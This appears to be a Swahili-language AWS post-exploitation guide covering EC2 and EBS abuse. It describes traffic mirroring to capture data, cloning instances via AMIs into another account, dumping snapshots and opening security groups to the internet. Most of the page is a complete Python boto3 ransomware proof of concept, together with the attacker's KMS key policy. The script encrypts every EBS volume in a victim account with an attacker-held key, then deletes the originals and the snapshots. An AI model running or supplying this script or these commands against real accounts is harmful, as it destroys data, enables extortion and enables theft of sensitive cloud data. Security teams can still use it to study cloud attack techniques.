VPC traffic mirroring inarudia trafiki ya kuingia na kutoka kwa EC2 instances ndani ya VPC bila haja ya kufunga chochote kwenye instances zenyewe. Trafiki hii iliyorudiwa ingepelekwa kwa kitu kama mfumo wa kugundua udukuzi wa mtandao (IDS) kwa ajili ya uchambuzi na ufuatiliaji.
Mshambuliaji anaweza kutumia vibaya hili kukamata trafiki yote na kupata taarifa nyeti kutoka kwayo:
Instances kawaida huwa na aina fulani ya taarifa nyeti. Kuna njia tofauti za kuingia ndani (angalia EC2 privilege escalation tricks). Hata hivyo, njia nyingine ya kuangalia kile kilicho ndani ni kuunda AMI na kuendesha instance mpya (hata kwenye akaunti yako mwenyewe) kutoka kwayo:
# List instancesawsec2describe-images# create a new image for the instance-idawsec2create-image--instance-idi-0438b003d81cd7ec5--name"AWS Audit"--description"Export AMI"--regioneu-west-1# add key to AWSawsec2import-key-pair--key-name"AWS Audit"--public-key-materialfile://~/.ssh/id_rsa.pub--regioneu-west-1# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
# now you can check the instanceawsec2describe-instances--instance-idsi-0546910a0c18725a1# If needed : edit groupsawsec2modify-instance-attribute--instance-id"i-0546910a0c18725a1"--groups"sg-6d0d7f01"--regioneu-west-1# be a good guy, clean our instance to avoid any useless costawsec2stop-instances--instance-id"i-0546910a0c18725a1"--regioneu-west-1awsec2terminate-instances--instance-id"i-0546910a0c18725a1"--regioneu-west-1
EBS Snapshot dump
Snapshots ni nakala za volumes, ambazo kawaida zitakuwa na taarifa nyeti, kwa hiyo kuzichunguza kunapaswa kufichua taarifa hii.
Ukikuta volume bila snapshot unaweza: Kuunda snapshot na kufanya hatua zifuatazo au tu kuimount kwenye instance ndani ya akaunti:
Mshambuliaji anaweza kuita API endpoints za akaunti inayodhibitiwa naye. Cloudtrail itarekodi simu hizi na mshambuliaji ataweza kuona data iliyotolewa kwenye Cloudtrail logs.
Open Security Group
Unaweza kupata ufikiaji zaidi wa huduma za mtandao kwa kufungua ports kama hivi:
awsec2authorize-security-group-ingress--group-id<sg-id>--protocoltcp--port80--cidr0.0.0.0/0# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
Privesc to ECS
Inawezekana kuendesha EC2 instance na kuisajili itumike kuendesha ECS instances na kisha kuiba data za ECS instances.
Mfano wa dhana sawa na maandamano ya Ransomware yaliyoonyeshwa katika maelezo ya baada ya unyonyaji wa S3. KMS inapaswa kubadilishwa jina kuwa RMS kwa Huduma ya Usimamizi wa Ransomware kwa jinsi ilivyo rahisi kutumia ili kusimba huduma mbalimbali za AWS kwa kuitumia.
Kwanza kutoka kwa akaunti ya 'mshambuliaji' ya AWS, tengeneza ufunguo unaosimamiwa na mteja katika KMS. Kwa mfano huu tutaruhusu AWS kusimamia data ya ufunguo kwa ajili yangu, lakini katika hali halisi mshambuliaji mbaya angehifadhi data ya ufunguo nje ya udhibiti wa AWS. Badilisha sera ya ufunguo kuruhusu Msimamizi yeyote wa akaunti ya AWS kutumia ufunguo huo. Kwa sera hii ya ufunguo, jina la akaunti lilikuwa 'AttackSim' na sheria ya sera inayoruhusu ufikiaji wote inaitwa 'Outside Encryption'
Sera ya ufunguo inahitaji yafuatayo kuwezeshwa ili kuruhusu uwezo wa kuitumia kusimba kiasi cha EBS:
kms:CreateGrant
kms:Decrypt
kms:DescribeKey
kms:GenerateDataKeyWithoutPlainText
kms:ReEncrypt
Sasa na ufunguo unaopatikana hadharani wa kutumia. Tunaweza kutumia akaunti ya 'mwathirika' ambayo ina baadhi ya EC2 instances zilizowashwa na kiasi cha EBS kisichosimbwa kimeambatanishwa. Hivi kiasi cha EBS cha akaunti ya 'mwathirika' ndicho tunacholenga kusimba, shambulio hili liko chini ya dhana ya uvunjaji wa akaunti ya AWS yenye ruhusa za juu.
Pasted image 20231231172655
Pasted image 20231231172734
Sawa na mfano wa S3 ransomware. Shambulio hili litaumba nakala za kiasi cha EBS kilichoambatanishwa kwa kutumia snapshots, kutumia ufunguo unaopatikana hadharani kutoka akaunti ya 'mshambulizi' kusimba kiasi kipya cha EBS, kisha kutenganisha kiasi cha awali cha EBS kutoka EC2 instances na kufuta, na kisha hatimaye kufuta snapshots zilizotumika kuunda kiasi kipya cha EBS kilichosimbwa.
Hii inasababisha kiasi cha EBS kilichosimbwa pekee kubaki kinapatikana kwenye akaunti.
Pasted image 20231231173338
Pia inafaa kutaja, script ilizima EC2 instances ili kutenganisha na kufuta kiasi cha awali cha EBS. Kiasi cha awali kisichosimbwa kimeondoka sasa.
Pasted image 20231231173931
Ifuatayo, rudi kwenye sera ya ufunguo katika akaunti ya 'mshambulizi' na uondoe sera ya 'Outside Encryption' kutoka kwenye sera ya ufunguo.
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:root"},"Action":"kms:*","Resource":"*"},{"Sid":"Allow access for Key Administrators","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:Create*","kms:Describe*","kms:Enable*","kms:List*","kms:Put*","kms:Update*","kms:Revoke*","kms:Disable*","kms:Get*","kms:Delete*","kms:TagResource","kms:UntagResource","kms:ScheduleKeyDeletion","kms:CancelKeyDeletion"],"Resource":"*"},{"Sid":"Allow use of the key","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:Encrypt","kms:Decrypt","kms:ReEncrypt*","kms:GenerateDataKey*","kms:DescribeKey"],"Resource":"*"},{"Sid":"Allow attachment of persistent resources","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:CreateGrant","kms:ListGrants","kms:RevokeGrant"],"Resource":"*","Condition": {"Bool": {"kms:GrantIsForAWSResource":"true"}}}]}
Subiri kidogo kwa sera mpya ya ufunguo kuenea. Kisha rudi kwenye akaunti ya 'mhasiriwa' na jaribu kuambatisha moja ya EBS volumes mpya zilizofichwa. Utapata kuwa unaweza kuambatisha volume.
Pasted image 20231231174131
Pasted image 20231231174258
Lakini unapojaribu kuwasha tena EC2 instance na EBS volume iliyofichwa itashindwa na kurudi kutoka hali ya 'pending' hadi hali ya 'stopped' milele kwa kuwa EBS volume iliyounganishwa haiwezi kufichuliwa kwa kutumia ufunguo kwa kuwa sera ya ufunguo haikubali tena.
Pasted image 20231231174322
Pasted image 20231231174352
Hii ni script ya python iliyotumika. Inachukua AWS creds kwa akaunti ya 'mhasiriwa' na thamani ya AWS ARN inayopatikana hadharani kwa ufunguo utakaotumika kwa encryption. Script itafanya nakala zilizofichwa za EBS volumes ZOTE zinazopatikana zilizounganishwa na EC2 instances ZOTE katika akaunti ya AWS inayolengwa, kisha kusimamisha kila EC2 instance, kuondoa EBS volumes za awali, kuzifuta, na hatimaye kufuta snapshots zote zilizotumika wakati wa mchakato. Hii itaacha tu EBS volumes zilizofichwa katika akaunti ya 'mhasiriwa' inayolengwa. TUMIA SCRIPT HII TU KATIKA MAZINGIRA YA MAJARIBIO, NI YA KUHARIBU NA ITAFUTA EBS VOLUMES ZOTE ZA AWALI. Unaweza kuzirejesha kwa kutumia KMS key iliyotumika na kuzirejesha katika hali yao ya awali kupitia snapshots, lakini nataka tu kukufahamisha kuwa hii ni ransomware PoC mwishowe.
import boto3
import argparse
from botocore.exceptions import ClientError
def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes
def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids
def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids
def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")
def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")
def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")
def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)
def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()
def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()